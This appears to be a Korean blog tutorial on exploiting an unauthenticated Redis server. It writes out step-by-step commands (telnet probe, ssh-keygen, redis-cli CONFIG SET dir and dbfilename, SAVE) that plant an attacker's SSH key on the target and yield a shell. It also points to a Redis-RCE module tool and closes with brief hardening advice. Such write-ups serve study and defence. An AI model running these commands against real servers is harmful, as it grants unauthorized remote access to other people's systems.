메뉴 닫기

Redis 서버 취약점(ssh key를 통한 exploit)

** 해당 글은 학습을 위한 글이며 아래 내용으로 공공망에서 악용할경우 모든 책임은 본인에게 있습니다 **

1. 개요
Redis는 Remote Dictionary Server의 약자로서, “키-값” 구조의 비정형 데이터를 저장하고 관리하기 위한 오픈 소스 기반의 비관계형 데이터베이스 관리 시스템이며 NoSql의 일종이라고 한다. 보조기억장치가 아닌 주기억장치(메모리)를 활용하기 때문에 Memcached와 비교된다.

2. 취약점

2-1) redis 서버에 AUTH 인증 설정이 되어 있지 않을경우 다음 명령어로 취약점을 스캔할 수 있다.

$ telnet 192.168.56.116 6379
Trying 192.168.56.116…
Connected to 192.168.56.116.
Escape character is ‘^]’.
echo “Hey no AUTH required!”
$21
Hey no AUTH required!
quit
+OK
Connection closed by foreign host.
———————————————————————————————-
참고적으로 auth 설정이 된 서버는 아래와 같이 표시된다.
echo “no AUTH!”
-NOAUTH Authentication required.

2-2) 취약점을 스캔한 후 공격자는 SSH key를 생성한다.

$ ssh-keygen -t rsa -C “crack@redis.io”
Generating public/private rsa key pair.
Enter file in which to save the key (/home/user/.ssh/id_rsa): ./id_rsa
Enter passphrase (empty for no passphrase): 12345
Enter same passphrase again: 12345
Your identification has been saved in ./id_rsa.
Your public key has been saved in ./id_rsa.pub.
The key fingerprint is:
f0:a1:52:e9:0d:5f:e4:d9:35:33:73:43:b4:c8:b9:27 crack@redis.io
The key’s randomart image is:
+–[ RSA 2048]—-+
| . O+.|
| . o o..o*o|
| = . + .+ . |
| o B o . |
| . o S E . |
| . o |
+—————–+

2-3) ssh key 생성 후 공개키 파일을 복사하여 대상 서버에 업로드할 키 파일을 생성한다.

이 파일을 통해 Redis 서버 메모리에 저장한 후 나중에 파일로 전송한다.

$ (echo -e “\n\n”; cat id_rsa.pub; echo -e “\n\n”) > foo.txt

2-4) 생성했던 공개키 파일을 Redis 서버 메모리로 업로드 한다.

$ redis-cli -h 192.168.56.116
192.168.56.116:6379> config set dbfilename “backup.rdb”
OK
192.168.56.116:6379> save
OK
(Ctrl + C)
 
$ redis-cli -h 192.168.56.116 echo flushall
$ cat foo.txt | redis-cli -h 192.168.56.116 -x set crackit

2-5) 메모리의 내용을 authorized.keys 파일로 덤프한다.

$ redis-cli -h 192.168.56.116
192.168.56.116:6379> config set dir /Users/user/.ssh/ #이때 해당 경로는 서버의 .ssh 경로와 일치해야한다(일반적으로 /home/username/.ssh/)
OK
192.168.56.116:6379> config get dir
1) “dir”
2) “/Users/user/.ssh”
192.168.56.116:6379> config set dbfilename “authorized.keys”
OK
192.168.56.116:6379> save
OK

2-6) 이후 해당 서버에 key auth를 통한 접속을 시도한다.

$ ssh -i id_rsa user@192.168.56.116
키 ‘ id_rsa ‘의 암호 입력 : 12345

#이후 쉘 프롬프트가 뜨면 성공이다.

3. 취약점 분석
3-1) 해당 공격이 성공하려면 2가지 조건을 충족해야 한다
① 대상 Redis 서버의 SSH 설정에 두가지 설정이 되어있어야 한다(key auth 설정)
RSAAuthentication yes
PubkeyAuthentication yes

② redis 서버의 auth 설정이 되어 있지 않고 모든 주소를 bind해야 한다
#requirepass [passward]
bind 0.0.0.0

– auth 설정이 되어 있지 않은 서버는 외부에서 별다른 인증없이 replication이 가능하다.

3-2) Redis 4버전과 5버전은 자동화된 Redis-RCE 툴을 통해서도 원격명령 실행이 가능하다.

Redis RCE에서 사용하는 exp_lin.so 파일은 실제 피해서버상에 업로드되어 있던 파일명과 동일하며 피해 서버의 Redis 버전은 5.0.5 버전으로 RCE 툴을 사용해 공격이 가능하다.
Docker Redis 설정은 아래와 같다.

{“StreamConfig”:{},”State”:{“Running”:true,”Paused”:false,”Restarting”:false,”OOMKilled”:false,”RemovalInProgress”:false,”Dead”:false,”Pid”:4910,”ExitCode”:0,”Error”:””,”StartedAt”:”2019-09-04T04:54:13.483012778Z”,”FinishedAt”:”2019-09-03T09:57:13.293795958Z”,”Health”:null},”ID”:”87017a6063ddc2436f6586b2cb542d10946d9ae98f4f3d505f9e06448711d83b”,”Created”:”2019-08-27T02:52:14.676519029Z”,”Managed”:false,”Path”:”docker-entrypoint.sh”,”Args”:[“redis-server”],”Config”:{“Hostname”:”redis”,”Domainname”:””,”User”:””,”AttachStdin”:false,”AttachStdout”:false,”AttachStderr”:false,”ExposedPorts”:{“6379/tcp”:{}},”Tty”:false,”OpenStdin”:false,”StdinOnce”:false,”Env”:[“TZ=Asia/Seoul”,”PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin”,”GOSU_VERSION=1.10″,”REDIS_VERSION=5.0.5″,”REDIS_DOWNLOAD_URL=http://download.redis.io/releases/redis-5.0.5.tar.gz”,”REDIS_DOWNLOAD_SHA=2139009799d21d8ff94fc40b7f36ac46699b9e1254086299f8d3b223ca54a375″],”Cmd”:[“redis-server”],”ArgsEscaped”:true,”Image”:”redis”,”Volumes”:{“/data”:{}},”WorkingDir”:”/data”,”Entrypoint”:[“docker-entrypoint.sh”],”OnBuild”:null,”Labels”:{“com.docker.compose.config-hash”:”85332f39679fe1cc4e35512d60b427565fb7c3b40dbe9f3e2b50665e9ed7a4cc”,”com.docker.compose.container-number”:”1″,”com.docker.compose.oneoff”:”False”,”com.docker.compose.project”:”data-api”,”com.docker.compose.service”:”redis”,”com.docker.compose.version”:”1.24.1″}},”Image”:”sha256:598a6f110d01ba2d8086011cf70571b4a52a532e25189a70042171ed9d700b50″,”NetworkSettings”:{“Bridge”:””,”SandboxID”:”e7d0ae20021cc98f4da10e71b8302b675479b2bf97790e795e9e4267a706cedb”,”HairpinMode”:false,”LinkLocalIPv6Address”:””,”LinkLocalIPv6PrefixLen”:0,”Networks”:{“data-api_default”:{“IPAMConfig”:null,”Links”:null,”Aliases”:[“redis”,”87017a6063dd”],”NetworkID”:”6387e599e3720ed3ee1f7c57c9a4ffeb33b2d67b7412300eae42759ad9f7dd3e”,”EndpointID”:”0d48f4f2fcb4311372f6aadb29ef1b3e63f2a8ed6479a2a684327b80c0f06d3f”,”Gateway”:”172.19.0.1″,”IPAddress”:”172.19.0.3″,”IPPrefixLen”:16,”IPv6Gateway”:””,”GlobalIPv6Address”:””,”GlobalIPv6PrefixLen”:0,”MacAddress”:”02:42:ac:13:00:03″,”DriverOpts”:null,”IPAMOperational”:false}},”Service”:null,”Ports”:{“6379/tcp”:[{“HostIp”:”0.0.0.0″,”HostPort”:”6379″}]},”SandboxKey”:”/var/run/docker/netns/e7d0ae20021c”,”SecondaryIPAddresses”:null,”SecondaryIPv6Addresses”:null,”IsAnonymousEndpoint”:false,”HasSwarmEndpoint”:false},”LogPath”:”/var/lib/docker/containers/87017a6063ddc2436f6586b2cb542d10946d9ae98f4f3d505f9e06448711d83b/87017a6063ddc2436f6586b2cb542d10946d9ae98f4f3d505f9e06448711d83b-json.log”,”Name”:”/data-api_redis_1″,”Driver”:”overlay2″,”OS”:”linux”,”MountLabel”:””,”ProcessLabel”:””,”RestartCount”:0,”HasBeenStartedBefore”:true,”HasBeenManuallyStopped”:false,”MountPoints”:{“/data”:{“Source”:””,”Destination”:”/data”,”RW”:true,”Name”:”5aed653b52a4026fb0e8dfc0572bc28d8b84b4814e162b1b8813c06825c4b0ea”,”Driver”:”local”,”Type”:”volume”,”ID”:”a6f2fb03df29721cb7e78e72b5d2eb531383e98f76b6b4b3f451063f0c7d2ffd”,”Spec”:{}}},”SecretReferences”:null,”ConfigReferences”:null,”AppArmorProfile”:”docker-default”,”HostnamePath”:”/var/lib/docker/containers/87017a6063ddc2436f6586b2cb542d10946d9ae98f4f3d505f9e06448711d83b/hostname”,”HostsPath”:”/var/lib/docker/containers/87017a6063ddc2436f6586b2cb542d10946d9ae98f4f3d505f9e06448711d83b/hosts”,”ShmPath”:”/var/lib/docker/containers/87017a6063ddc2436f6586b2cb542d10946d9ae98f4f3d505f9e06448711d83b/shm”,”ResolvConfPath”:”/var/lib/docker/containers/87017a6063ddc2436f6586b2cb542d10946d9ae98f4f3d505f9e06448711d83b/resolv.conf”,”SeccompProfile”:””,”NoNewPrivileges”:false}

Test VM서버 로그(Redis RCE 접근 시도 시 발생 로그)

4. 조치방법
4-1) auth, bind 설정
– requirepass 설정 (redis는 응답이 매우 빠르기때문에 초당 15만번 시도할수 있으므로 패스워드 복잡도를 매우 어렵게 설정해야함)
– bind 0.0.0.0으로 사용하면 취약하므로 접근가능한 주소를 지정

5. 참고사이트
– https://www.codetd.com/ko/article/6957678 [redis 보안 정책]
– http://antirez.com/news/96 [redis 취약점 설명]
– https://github.com/jas502n/Redis-RCE [github에서 공유중인 Redis-RCE]

0 0 votes
Article Rating
구독
Notify of
guest

0 Comments
Inline Feedbacks
View all comments
0
Would love your thoughts, please comment.x